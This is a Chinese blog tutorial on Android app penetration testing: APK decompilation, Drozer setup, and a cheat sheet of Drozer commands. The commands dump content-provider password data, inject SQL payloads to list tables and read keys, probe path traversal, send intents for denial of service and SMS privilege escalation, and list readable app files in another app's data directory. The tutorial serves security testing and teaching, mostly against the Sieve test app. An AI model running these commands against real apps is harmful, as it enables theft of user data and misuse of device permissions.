Android APP 渗透测试---总结
1、apk反编译得到源代码
使用编译软件 dex2gar 和 jdgui.jar 对Android APP软件进行反编译。具体步骤如下:
(1)首先将APK文件后缀改为zip并解压,得到其中的classes.dex,它就是java文件编译再通过dx工具打包而成的,将classes.dex复制到dex2jar.bat所在目录dex2jar文件夹。
(2)在命令行下定位到dex2jar.bat所在目录,运行dex2jar.bat classes.dex,生成classes_dex2jar.jar
首先将要编译的apk文件后缀修改成 .zip 解压之后得到 classes.dex 文件,将该文件下使用 dex2jar.bat文件编译成 . 生成 classes-dex2jar.jar 将生成的该文件导入 jdgui.jar 这样我们就可以看到APP的源码了
代码审计部分基本从这部分开始。
对APP的渗透测试我们需要APP的渗透黑框架来完成。我这里使用的 渗透框架是 Drozer 使用的系统是 AndroL 4b
2、Drozer渗透测试框架
Drozer 有Window版本和 linux版本(虚拟机),我这里使用的是虚拟机 AndroL 4b
如何安装 虚拟机中的环境这个网上有完整的介绍。这里不再写。
(1)启动
连接到虚拟机: adb connect 127.0.0.1:5554 (如果没有使用虚拟机可以不用这步)
PC上使用adb工具进行端口转发,转发数据到 Drozer 使用的端口 31415
adb forward tcp:31415 tcp:31415
开启 embedded server-enable
drozer console connect
安装 要测试的APP软件到模拟器上 ,安装方法使用 adb install app.apk
安装完成呢之后在 模拟器丧看到APP已经安装成功
首先我们在 Drozer框架下对被测试的APP进行 信息的收集 run app.package.list
这里我以公开组件漏洞为例子,进行 说明安全审计方法:
组件 Content Provider配置错误会导致数据泄露。content Provider 以表格的形式把数据展现给外部的应用, 每个 Content Provider都对应一个 “ Content://” 开头的特定的URL, 任何应用都可以通过这个URL操作 Content Provider应用的数据库。如果有的应用对权限控制不当会导致信息泄露的问题。
进一步使用 Mercury 获取各个URL的数据
安全渗透测试完成的APP我们如何进行卸载了? 使用 adb uninstall <.packagename > 之前必须切换到 adb shell ,之后才可以卸载。
在渗透测试的时候借助其他工具 像burp Suite、 SDK manage、Wireshark等工具对模拟器上的APP进行数据包抓包拦截,以及流量的分析。
具体的安全检查点可以对照下面的操作去检查。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 | 1. 获取包名 dz> run app.package. list - f sieve com.mwr.example.sieve 2. 获取应用的基本信息 run app.package.info - a com.mwr.example.sieve 3. 确定攻击面 run app.package.attacksurface com.mwr.example.sieve 4.Activity ( 1 )获取activity信息 run app.activity.info - a com.mwr.example.sieve ( 2 )启动activity run app.activity.start - - component com.mwr.example.sieve dz> help app.activity.start usage: run app.activity.start [ - h] [ - - action ACTION] [ - - category CATEGORY] [ - - component PACKAGE COMPONENT] [ - - data - uri DATA_URI] [ - - extra TYPE KEY VALUE] [ - - flags FLAGS [FLAGS ...]] [ - - mimetype MIMETYPE] 5.Content Provider ( 1 )获取Content Provider信息 run app.provider.info - a com.mwr.example.sieve ( 2 )Content Providers(数据泄露) 先获取所有可以访问的Uri: run scanner.provider.finduris - a com.mwr.example.sieve 获取各个Uri的数据: run app.provider.query content: / / com.mwr.example.sieve.DBContentProvider / Passwords / - - vertical 查询到数据说明存在漏洞 ( 3 )Content Providers(SQL注入) run app.provider.query content: / / com.mwr.example.sieve.DBContentProvider / Passwords / - - projection "'" run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "'" 报错则说明存在SQL注入。 列出所有表: run app.provider.query content: / / com.mwr.example.sieve.DBContentProvider / Passwords / - - projection "* FROM SQLITE_MASTER WHERE type='table';--" 获取某个表(如Key)中的数据: run app.provider.query content: / / com.mwr.example.sieve.DBContentProvider / Passwords / - - projection "* FROM Key;--" ( 4 )同时检测SQL注入和目录遍历 run scanner.provider.injection - a com.mwr.example.sieve run scanner.provider.traversal - a com.mwr.example.sieve 6 intent组件触发(拒绝服务、权限提升) 利用intent对组件的触发一般有两类漏洞,一类是拒绝服务,一类的权限提升。拒绝服务危害性比较低,更多的只是影响应用服务质量;而权限提升将使得没有该权限的应用可以通过intent触发拥有该权限的应用,从而帮助其完成越权行为。 1. 查看暴露的广播组件信息: run app.broadcast.info - a com.package.name 获取broadcast receivers信息 run app.broadcast.send - - component 包名 - - action android.intent.action.XXX 2. 尝试拒绝服务攻击检测,向广播组件发送不完整intent(空action或空extras): run app.broadcast.send 通过intent发送broadcast receiver ( 1 ) 空action run app.broadcast.send - - component 包名 ReceiverName run app.broadcast.send - - component 包名 ReceiverName ( 2 ) 空extras run app.broadcast.send - - action android.intent.action.XXX 3. 尝试权限提升 权限提升其实和拒绝服务很类似,只不过目的变成构造更为完整、更能满足程序逻辑的intent。由于activity一般多于用户交互有关,所以基 于intent的权限提升更多针对broadcast receiver和service。与drozer相关的权限提升工具,可以参考IntentFuzzer,其结合了drozer以及hook技术,采用 feedback策略进行fuzzing。以下仅仅列举drozer发送intent的命令: ( 1 )获取service详情 run app.service.info - a com.mwr.example.sieve 不使用drozer启动service am startservice –n 包名 / service名 ( 2 )权限提升 run app.service.start - - action com.test.vulnerability.SEND_SMS - - extra string dest 11111 - - extra string text 1111 - - extra string OP SEND_SMS 7. 文件操作 列出指定文件路径里全局可写 / 可读的文件 run scanner.misc.writablefiles - - privileged / data / data / com.sina.weibo run scanner.misc.readablefiles - - privileged / data / data / com.sina.weibo run app.broadcast.send - - component 包名 - - action android.intent.action.XXX 8. 其它模块 shell.start 在设备上开启一个交互shell tools. file .upload / tools. file .download 上传 / 下载文件到设备 tools.setup.busybox / tools.setup.minimalsu 安装可用的二进制文件 |
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 10年+ .NET Coder 心语,封装的思维:从隐藏、稳定开始理解其本质意义
· .NET Core 中如何实现缓存的预热?
· 从 HTTP 原因短语缺失研究 HTTP/2 和 HTTP/3 的设计差异
· AI与.NET技术实操系列:向量存储与相似性搜索在 .NET 中的实现
· 基于Microsoft.Extensions.AI核心库实现RAG应用
· 10年+ .NET Coder 心语 ── 封装的思维:从隐藏、稳定开始理解其本质意义
· 地球OL攻略 —— 某应届生求职总结
· 提示词工程——AI应用必不可少的技术
· Open-Sora 2.0 重磅开源!
· 周边上新:园子的第一款马克杯温暖上架
2018-03-02 WireShark Flow capture analysis